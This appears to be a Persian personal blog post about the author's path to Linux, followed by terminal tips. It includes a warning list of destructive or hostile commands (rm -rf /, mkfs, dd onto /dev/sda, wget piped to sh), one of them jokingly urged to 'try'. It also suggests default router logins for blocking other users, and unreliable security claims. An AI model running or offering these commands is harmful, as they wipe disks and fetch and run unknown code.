

مسابقتہ



برائے گنو/لینوکس را دوست دارہ

لیست

دلایل من برای دوست داشتن لینوکس
کار های که با لینوکس می شود انجام داد
نحوه آشنایی من با لینوکس
دلایل محکمه پسند برای این که چرا به آنتی ویروس در لینوکس نیاز نیست
دستور که نباید اجرا شوند
ترفند های جالب در لینوکس با ترمینال
کنترل آهنگ از راه دور
تیکه تیکه کرن فایل های حجیم
کی تو شبکه پر خوری میکنه؟؟؟
سخت افزار محدود، نرم افزار محدود

روز های اول که کامپیوتر خریدم، سال چهارم دبستان بودم، سیستم عامل مردمی آن زمان ویندوز 95 و 98 و گاهی me بود (مثل امروز که سیستم عامل اکثر مردم ویندوز XP و 7 میباشد گاهی ام vista و 8) در اقع انتخاب دیگه ای جز این چند مورد نبود. کسی هم نبود که اطلاعات کامل به من بده. برای همین بیخالی شدم و همین ویندوز یاد گرفتم. یادمه اوایل هفته ای 5-6 بار ویندوز عوض میکردم. D.: (البته هنورم که هنوزه برای تست یک سیستم عامل شاید مجبور باشم چند بار انو داقونش کنم بعد دوباره درستش کنم، ولی الان به لطف نرم افزار VMware Workstation دیگر نگران از دست دادن اطلاعاتم و سیستم عامل وقیم نیستم!). چند سالی گذشت و سیستم عامل XP معرفی شد. من هم چون عاشق سیستم عامل جدید بودم و دوست داشتم امتحانش کنم. سری رفتم و با هزار بدبختی cd ویندوز XP را پیدا کردم، اون موقع همه میگفتن که این XP به درد نمیخوره، کارکردن باهاش سخته و ... (مثل الان که خیلی ها میگن XP بهتر از 7 ه و همونایی که در آینده میگن 7 بهتر از 8 ه... - همیشه همینطور بوده، طول میکشه تا بعضی چیزا نرمال بشه. ولی یک خبر بد برای علاقه مندان به ویندوز XP، تا سال 2014، یعنی کمتر از یک سال دیگر Microsoft دیگر ویندوز XP را پشتیبانی نخواهد کرد، و این یعنی هکر های محترم وینوز شمارا هک میکنند، چون دیگه قرار نیست کسی ایرادات این سیستم را حل کنه، و چون Microsoft علاقه ای به open source نداره دیگه تمام سوراخ های امنیتی سیستم باز می ماند، و شما مطمئن باشید پتروس مهربان نمیدانگشتشو بزاره تو سوراخ های امنیتی... پس از الان کمتر از 1 سال وقت دارید یک سیستم عامل دیگر انتخاب کنید).

همین ویندوز XP را داشتم یاد میگرفتم که ناگهان یکی از دوستانم به من سایتی برای دانلود رایگان پیشنهاد کرد، اسم سایته یادم نسیت، ولی هرچی که بود فیلتر بود، کلی اصابم خورد شد و شروع کردم به گشت و گزار در گوگل، آنجا بود که رفتم تو سایته www.apple.com. برام جالب بود... یعنی چی سیب؟؟؟ داخل سایتش یه دوری زدم و فهمیدم سیستم عامل دیگری نیز وجود داره!... Mac os X... کلی خوشحال شدم. رفتم بازار کامپوتری رضا برای پیدا کردن cd mac os x ولی پیدا نشد، تو اینترنت هم گشتم، ولی بی نتیجه بود، فقط فهمیدم که روی سیستم های مخصوص خودش نصب میشه، اونم خوب گرون بود... تو همین گشت و گزار های اینترنت فهمیدم mac os x مخفف macintosh operating system و مهم تر از همه X که بر گرفته از UNIX بود. یعنی یک سیستم عامل دیگه پیدا کردم که هیچی ارزش نمیدونستم، (مطمئن ام که همون حسی را داشتم که کریستفر کولمب وقتی آمریکا رو کشف کرد، داشت...) ولی unix هم پولی بود، ولی من میخواستم یه سیستم عامل متمایز داشته باشم، وقتی کسه دیگه ای پشت سیستم من نشست نتونه باهاش کار کنه، این کار من از لحاظ امنیتی خیلی امن تر از پسورد بود چون پسورد و میشه راحت کرک کرد، ولی یاد گرفتن یک سیستم جدید کار هر کسی نیست...

بر خلاف unix، که پولی بود بعد از کلی تحقیق خانواده ای unix ی که رایگان بود و با dial-up دانلود کردم(خداییش dial-up اون موقع شرف داشت به adsl الان...) اسمش FreeBSD بود یه سیستم خشک مسخره فوق الاعده سخت ولی شیرین و پایدار فقط باید کتاب هاشو پیدا می کردم، که نشد. اینجا بود که دیگه خسته شده بودم بعد از 2-3 سال تحقیق

خوردم به بن بست. فقط FreeBSD روشن میکردم صفحه سیاه که چند تا چیز روش نوشته و منتظر بود که من بهش دستور بدم.

تا یکی دو ماه باهش ور رفتم ولی چیزی گیرم نیومد به جز چند تا دستور ساده مثل ls, cd, time, date, mkdir, touch و FreeBSD و بیخیال شدم...

در سال سال اول دبیرستان تو کتاب خانه دبیرستان مشغول شدم، کارم این بود که کتاب های نو را که یا از طریق دانش آموزان دیگه یا از طریق کتاب خانه ها به کتابخانه اهدا میشد آن ها را دسته بندی می کردم و در قفسه ها میچیدم، این کار برام هم لذت بخش بود هم آموزنده همیشه سعی میکردم کتاب های را بخونم که در زمینه های متفاوتی باشند مثلا کامپیوتر، اقتصاد، روانشناسی، داستان و رمان و غیره... خوبی کارم در کتابخانه این بود که هر وقت میخواستم کلاس های درس را می پیچوندم! یه بار که داشتم کتاب ها را مرتب می کردم یک کتاب جالب پیدا کردم!!! اسمش :

مدیریت و برنامه نویسی پروسه ها در لینوکس

لینوکس؟؟؟ این دیگه چیه؟؟؟ یه زبان برنامه نویسی؟؟؟ یا شایدم یه برنامه گرافیکی؟؟؟ هر چیزی به فکر رسید جز سیستم عامل، نمیدونم چرا ولی این لینوکس از ذهن بیرون نمیرفت، تا اوجای که 2 روز فقط تو فکر این بودم که این چیه؟؟؟...

شاید باور نکنید ولی کل فکرم همین بود روز سوم گفتم یه سری تو اینترنت و گوگل بزنم شاید که نه حتما پیدا میشه. تا نشستم پشت کامپیوتر با خودم گفتم این لینوکس اسمش شبه به یونیکس... شاید اینم یه سیستم عامل باشه. اون لحظه کلی تو فکر بودم، سایت روی خود کتاب هم بسته شده بود. به جز یک لینک که مربوط می شد به RedHat. اون دانلود کردم، خدایش با حال بود حالا هم یک کتاب کمکی و یک سیستم عامل داشتم. ولی مطالب کتاب خیلی سنگین بود، همش کد بود با این که کتاب راهنما بود ولی توش هیچ چیز برای افراد مبتدی نبود... هیچی... کتاب کاملا برای سطح حرفه ای بود. ولی من الان لینوکس و داشتم، و داخل خود لینوکس یک سری man page و دستوالعمل وجود داشت. که خیلی کمک کرد. همینجا بود که داخل یک سایت خوندم که بیش از 700 نوع لینوکس وجود دارد. برای همین رفتم سراغ نسخه های آسان تر، بیش از 40 نوع لینوکس امتحان کرده بودم، و هیچ یک راحت تر از Ubuntu نبود. هم ساده، شیک راحت یه محیط گرافیکی خیلی قوی. از این بهتر هم مگه میشه؟؟؟ نه!!!...

البته یک سری کمبود ها هم داشت، ولی من دیگه خسته شده بودم 40 تا از بهترین ورژن ها را تست کرده بودم ولی هیچ کدام کامل نبودن یا باید 660 تا ورژن دیگه را گشت میزدم که یه کار محال بود...

تو همه سایت ها که رفته بودم به این نتیجه رسیدم که خودم کاملش کنم، از زبان های برنامه نویسی C و java چیزای بلد بودم و کارم و شروع کردم، تقریبا 6 ماه طول کشید تا بتونم EDINUX ام و بنویسم، (اونقدر حس خوبیه!!! هر کی ازم می پرسه ویندوزت XP یا 7 بهش میگم EDINUX تا 6-5 ساعت میشینه فکر میکنه، وقتی هم که میگم سیستم عامل خودم یعنی لازم نیست از چیزی به نام ویروس، هک شدن، و یا هر چیزه دیگه ای بترسم چون معماری سیستم فقط خودم بلدم،

فقط خودم

نگران این نیستم که آگه یه روز قرار شد مثل XP شرکت Microsoft اونو پشتیبانی نکنه

...

هر وقت خودم دلم خواست ارتقاش میدم، ایراداش و بررسی میکنم و از همه مهم تر من با اعتماد به نفس کامل میگم کامپیوتر خودم، یعنی سخت افزاری که خریدم ماله خودمه، سیستم عاملشم خودم ساختم، دیگه کسی به نام genuine نمیداد سراقم بهم بگه 30 روز دگه سیستمت مییره!!!...

این جمله که **هر کاری با همیشه با کامپیوتر انجام داد** یک جمله نیست!!! واقعیت داره!!!...

ولی تفصیرش مفصله!!!...

برای این کار باید بررسی کنیم ببینیم کامپیوتر از چه چیز های تشکیل شده!!!

ساده ست!!! سخت افزار و البته نرم افزار!

سخت افزار شامل CPU و Ram و ... است.

نرم افزار تشکیل شده از نرم افزار های گرافیکی و برنامه های کاربردی و غیره... ولی برای مدیریت این برنامه ها به یه برنامه دیگه نیاز داریم به نام سیستم عامل! ولی سوال اینجاست چه سیستم عاملی؟

اگر Mac باشد سخت افزار اش محدود کننده است، چون فقط بر روی قطعات شرکت Apple کار میکند.

اگر ویندوز باشد... (خدا صبر بده...) اگر تونستید هنگ کردنش را حل کنید البته باید همراه نوه نتیجه و ندیده و ... با هم همکاری کنید

و اگر بخواهید در ویندوز برنامه نویسی کنید باید تمام رجیستر های ویندوز و Process مانده
wmpnetwk.exe ctfmon.exe dwm.exe jusched.exe svchost.exe
را بلد باشید، و از آنجایی که نمیتوانید کد های این تسک ها را ببینید از عملکرد های دقیق آن خبر ندارید ممکن است با برخی از کد های نرم افزار شما تداخل داشته باشد و باز هم هنگ کند و یا bluescreen بدهد!!!

ولی اگر سیستم عامل لینوکس را انتخاب کنید فقط کافی زبان C را بلد باشید!!!... میتوانید فقط با صرف زمان یک سال یک Admin و با Developer ثروتمند شوید!!!... چون میتوانید تک تک برنامه های اجرا شده را مطالعه کنید، ارتقا دهید توسعه دهید و یا از نو بسازیدش!!!... و چون لینوکس لقب open source را یدک میکشد، میتوانید هر کاری را که بخواهید می توانید انجام دهید، و این با جمله ای که در بالا گفتم همخوانی کامل تری دارد!!! **هر کاری بخواهید میتوانید در کامپیوتر با لینوکس انجام دهید!!!**

ولی از شوخی گذشته باید برخی از مسال امنیتی را راعیت کنیم:

ماننده:

1. به روز رسانی های که مخصوص شبکه، مرورگر، و java است.
2. اگر نیازی به جاوا ندارید آن را پاک و یا غیر فعال کنید، باور کنید که جاوا همانقدر که مفید است زیان بار هم هست برای همین در iphone استفاده از جاوا ممنوع است... بهترین بخش این است که میتوانید ویدیو آنلاین نگاه کنید... همین!
3. کد هایی را که نمیشناسید اجرا نکنید!!!... به هیچ وجه... (در ادامه بررسی خواهد شد)
4. همچنین در سایت های متفرغه عضو نشید، یک سری هکر ها با استفاده از روش های روانشناسی یک سری اطلاعات به دست می آورند و پسورد های شما را حدس می زنند!!! (کار جوجه هکر هاست)

همان طور که در بخش قبل گفتیم به هیچ وجه نباید دستوراتی را که نمیشناسیم وارد کنیم، هرچند خودم چند بار در بعضی از سایت ها دیدم که کد های بسیار طولانی به ظاهر سودمند نوشته اند طوری که شما 10 خط از کد را میخوانید و فکر می کنید که برنامه سالم است و اجرایش می کنید!!! ولی نمیدانید که در خط 11 هم یک جای کار می لنگد!!! و شما متن کد را کامل نخواندید چون حوصله نداشتید و وارد ترمینال کردید!!!...

اولین دستور ممنوعه:

```
rm -rf /
```

ممکن است در ظاهر کار این کد تابلو باشد ولی اگر در میان 1000 خط کد قایم شده باشد، مهم نیست کجای کد اول آخر وسط... کلا کارش را انجام خواهد داد!!! و تمام فایل و دایرکتوری های داخل روت را پاک میکند!!!

دومین دستور ممنوعه:

```
mkfs.ext4 /dev/sda1
```

این بدتر از قبلی است کلا هارد دیسکی که در آن لینوکس نصب است فرمت می کند!!!

سومین دستور ممنوعه:

```
dd if=/dev/random of=/dev/sda
```

این کد از همه باحال تره!!! حتما امتحان کنید، شاید شما برنده جایزه 100.020.005 دلاری ما باشید!!! شوخی کردم!!!.. ممکنه هکر ها با افزونه های فایرفاکس این دستور را در ترمینال شما اجرا کنند و مومم کلی فایل به درد نخور در سیستم شما در پارتیشن sda نوشته شود

چهارمین دستور ممنوعه:

```
mv ~ /dev/null
```

این کد هم شاخه home شما را در محلی نامعلوم انتقال میدهد

پنجمین دستور ممنوعه:

```
wget http://example.com/something -O - | sh
```

به به... چقدر این ویروس نویسان لینوکس خلاق اند!!! با استفاده از این کد ترمینال به سایتی متصل فایل های را دانلود و آن را اجرا میکند!!!

شما هم موقع کار کردن با لینوکس به موسیقی گوش میدehید؟؟؟

این یکترفند کاربردی برای علاقه مندان به موسیقی در لینوکس!!!!

این کد برای برنامه MPlayer است...!!! کار میکنه!!!

```
mkfifo ~/mplayer-control
mplayer -slave -input file=/home/user/mplayercontrol
filetoplay
```

و بعد در یک ترمینال دیگر، همان ترمینالی که خودتان در آن کار میکنید و یا در یک script این را وارد کنید:

```
echo "pause" >~/mplayer-control
```

این دستور آهنگ را متوقف می کند!!!... حتی میتوانید از راه دور DJ یک پارتی شوید... می پرسید چه طور؟؟؟
کافی یک سیستم درب و داقون لینوکسی ببرید به جایی که قرار است موسیقی پخش شود، بلندگوها را وصل کنید و به شبکه متصل شوید!!! و این کد ر در ترمینال کامپیوتر خانه خود وارد کنید

```
ssh user@host "echo pause >mplayer-control"
```

تکه تکه کردن فایل ها در لینوکس:
در بسیاری از وب سایت ها برای دانلود فایل های حجیم آن ها را به دسته های کوچکتر تقسیم میکنند و به اشتراک می گذارند...
برای مثال یک فایل 1GB را به دو فایل 500MB تقسیم کنید

```
split -b bytes filename.xxx
```

در دستور بالا در قسمت bytes تعریف میکنید که به چه مقداری تقسیم شود، و قسمت filename اسم فایل را تایپ کنید

برای بهم چسپاندن چند فایل از دستور زیر استفاده کنید

```
cat part1 part2 part3 > filename.xxx
```

برای شما هم پیش آمده که هنگامی که یک کار ضروری با اینترنت دارید و زمان کمی نیز در اختیار دارید حتی نمی تونید یک صفحه سبک مثل گوگل را باز کنید؟؟؟

دلیل اش این است که کسی در شبکه (مخصوصا اگر wi-fi باشد) در حال دانلود است و برایش اصلا مهم نیست که شما دیرتان میشود...

خوب در لینوکس کار همیشه با این جور آدم ها برخورد کرد...

قدم صفر::: مهم::: اول با یک دستور ping ساده مطمعا شوید که سرعت کلی شبکه اینترنت پایین نباشد.

قدم اول: چه کسانی تو شبکه هستند؟؟؟

با استفاده از این دستور تمام IP ادرس ها به دست می آید

```
nmap -sP 192.168.1.1/24
```

سپس با استفاده از کد زیر دقیقا مطلع شید چه کسی چقدر از شبکه استفاده میکند... این برنامه به شما نشان میدهد چه کسی چه مقدار از شبکه استفاده می کند.

```
nethogs wlan0 -p
```

اگر از شبکه کابلی استفاده می کنید

```
nethogs lan0 -p
```

سپس ip ان را ping کنید

```
Ping 192.168.1.x
```

بعد با استفاده از دستور زیر mac آدرس کسی را که میخواهید به دست آورید...

```
arp 192.168.1.x
```

خوب حالا که مک آدرس فرد پرخور را دارید، با استفاده از مرورگرتان وارد تنظیمات مودم شوید

```
192.168.1.1
```

معمولا یوزر و پسوردش admin می باشد... ولی ممکن است اگر مدیر شبکه کسی دیگر باشد آن را عوض کرده باشد!

حالا اگر تونستید وارد تنظیمات مودم شوید بسته به نوع مودم شما، بخشی وجود دارد به نام mac filter و شما باید قبل از وارد کردن mac آدرس mode ان را تغییر دهید و روی Deny قرار دهید در غیر این صورت فقط خود فرد مورد نظر از کل شبکه استفاده خواهد کرد. بعد از این که mode را رویه deny گذاشتید mac آدرس را وارد و در آخر سیو کنید!...

حالا فرد مورد نظر پرخور از شبکه بیرون انداخته اید!!!... کار خود را انجام دهید و در آخر دوباره بهش اجازه دسترسی بدهید!!!

نت بوک من سخت افزار زیاد قوی ندارد! یک CPU 900MHz و 1GB و 16 گیگ هارد!!!...

ولی لینوکس Ubuntu 12.04 با تمام امکانات نرم افزاری و compiz و سایر جلوه های گرافیکی نصب و همیشه کار میکند.

ولی نه Ubuntu معمولی بلکه کمی دست کاری شده!!!... با نرم افزار CPUlimited من نرم افزار ها را محدود و بهشون اجازه دسترسی به cpu را به صورت کامل نمیدهم!

به عنوان مثال هیچ دلیلی ندارد compiz 100% منابع را در اختیار داشته باشد!!!...

و اما طرز کار این برنامه:

در مرحله اول باید نصب شود!!! با دستور زیر و یک اینترنت کم سرعت در حد 56KB هم کافیه!!!

`apt-get install cpulimit`

بعد از نصب حتما man آن را بخوانید!

روش استفاده از آن خیلی آسون است کافیه نام برنامه و درصد استفاده از CPU را به برنامه بدهید!!!

به عنوان مثال:

`cpulimit -e compiz-bin -l 20`

با این کار نرم افزار compize فقط 20 درصد از CPU را می گیرد!!!